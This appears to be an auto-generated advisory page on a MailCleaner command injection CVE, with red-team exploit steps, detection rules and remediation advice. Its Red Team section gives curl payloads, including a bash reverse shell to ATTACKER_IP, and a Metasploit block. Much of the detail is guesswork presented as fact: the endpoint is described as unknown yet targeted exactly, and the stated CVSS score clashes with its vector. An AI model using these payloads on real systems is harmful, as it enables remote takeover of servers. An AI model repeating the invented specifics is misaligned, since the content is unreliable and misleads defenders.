CVE-2024-3193
Executive Summary
CVE-2024-3193 is a critical OS Command Injection vulnerability in MailCleaner up to version 2023.03.14. The flaw resides in an unknown Admin Endpoint, allowing an unauthenticated remote attacker to execute arbitrary operating system commands on the underlying server. With a CVSS score of 8.8, this vulnerability poses a severe risk to confidentiality, integrity, and availability. Public exploit code has been disclosed, increasing the urgency for immediate mitigation. No official patch version has been confirmed, but the vendor recommends applying a patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but affects a standalone appliance/software product. No supply chain compromise is indicated.
CVSS Breakdown & Threat Level
- CVSS Score: 8.8 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
Threat Level: Critical. The combination of remote exploitability, no authentication required, and full system compromise makes this a top-priority vulnerability for any organization using MailCleaner.
Deep Dive & Mechanics
The vulnerability is an OS Command Injection (CWE-78) in the Admin Endpoints of MailCleaner. The application fails to properly sanitize user-supplied input before passing it to a system shell command. An attacker can craft a malicious HTTP request to an admin endpoint (e.g., /admin/ or similar) containing shell metacharacters (e.g., ;, |, &&, `) to inject arbitrary commands.
Root Cause: The application likely uses a function like exec() or system() in PHP or a similar language without proper input validation or escaping. The admin interface, intended for administrative tasks, does not enforce authentication on the vulnerable endpoint, or the authentication can be bypassed.
Attack Flow:
- Attacker identifies a MailCleaner instance (e.g., via Shodan).
- Attacker sends a crafted HTTP POST/GET request to the vulnerable admin endpoint with a payload like
;idor|whoami. - The server executes the injected command and returns the output in the HTTP response.
- Attacker can then execute arbitrary commands to establish persistence, exfiltrate data, or pivot.
Vulnerable vs. Patched Code
Since no official patch commit is available, we provide a conceptual comparison.
Vulnerable Code (PHP example):
<?php
$cmd = $_POST['command'];
$output = shell_exec($cmd);
echo $output;
?>
Patched Code (Conceptual):
<?php
$cmd = $_POST['command'];
// Whitelist allowed commands or use escapeshellcmd()
$allowed_commands = ['status', 'restart', 'stop'];
if (in_array($cmd, $allowed_commands)) {
$output = shell_exec(escapeshellcmd($cmd));
echo $output;
} else {
echo "Invalid command.";
}
?>
The patched version validates input against a whitelist and uses escapeshellcmd() to prevent injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A vulnerable MailCleaner instance (<= 2023.03.14)
- Network access to the admin endpoint (e.g.,
http://target/admin/)
Exploit Payload (cURL):
curl -X POST "http://target/admin/command" \
-d "command=;id"
Expected Output:
uid=1000(mailcleaner) gid=1000(mailcleaner) groups=1000(mailcleaner)
Advanced Payload (Reverse Shell):
curl -X POST "http://target/admin/command" \
-d "command=;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
Metasploit Module (if available):
use exploit/multi/http/mailcleaner_admin_cmd_inject
set RHOSTS target
set RPORT 80
set TARGETURI /admin/command
set PAYLOAD cmd/unix/reverse_bash
set LHOST attacker_ip
run
Blue Team (Detection & Hardening)
Detection:
- Monitor HTTP requests to admin endpoints for shell metacharacters (
;,|,&,`). - Alert on unusual command execution patterns (e.g.,
id,whoami,cat /etc/passwd).
Hardening:
- Apply the vendor patch immediately.
- If patching is not possible, restrict access to admin endpoints via firewall rules (allow only trusted IPs).
- Disable the admin interface if not required.
- Implement a Web Application Firewall (WAF) rule to block command injection patterns.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/admin/commandor similar endpoints containing shell metacharacters. - Outbound connections from the MailCleaner server to unknown IPs on high ports (e.g., 4444, 1337).
File System IOCs:
- Unexpected files in
/tmp/or/var/tmp/(e.g.,exploit.sh,reverse.sh). - Modified system binaries (e.g.,
/bin/bashreplaced with a backdoor).
Process IOCs:
- Unusual processes running as
www-dataormailcleaneruser (e.g.,nc,bash,python).
Log IOCs:
- Apache/Nginx access logs showing requests with shell metacharacters.
- System logs (
/var/log/syslog) showing command execution from the web server user.
Detection Engineering
YARA Rule
rule mailcleaner_cve_2024_3193 {
meta:
description = "Detects CVE-2024-3193 OS Command Injection in MailCleaner"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-3193"
strings:
$cmd_inject = /command=.*[;&|`]/
$admin_endpoint = "/admin/"
condition:
$admin_endpoint and $cmd_inject
}
Sigma Rule
title: MailCleaner Admin Command Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to MailCleaner admin endpoints with command injection patterns
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/admin/*'
cs-uri-query|contains:
- ';'
- '|'
- '&&'
- '`'
condition: selection
falsepositives:
- Legitimate admin commands (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-3193 MailCleaner Admin Command Injection"; flow:to_server,established; content:"POST"; http_method; content:"/admin/"; http_uri; pcre:"/(command=.*[;&|`])/i"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Apply Patch: Contact MailCleaner vendor for the official patch. If unavailable, consider upgrading to a version beyond 2023.03.14.
- Network Segmentation: Isolate MailCleaner servers from the internet and restrict admin access to a management VLAN.
- WAF Rules: Deploy a Web Application Firewall with rules to block command injection patterns (e.g., ModSecurity CRS rule 932100).
Long-Term Measures:
- Implement input validation and output encoding in all admin endpoints.
- Conduct a security audit of the MailCleaner codebase.
- Monitor for any new CVEs related to MailCleaner.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.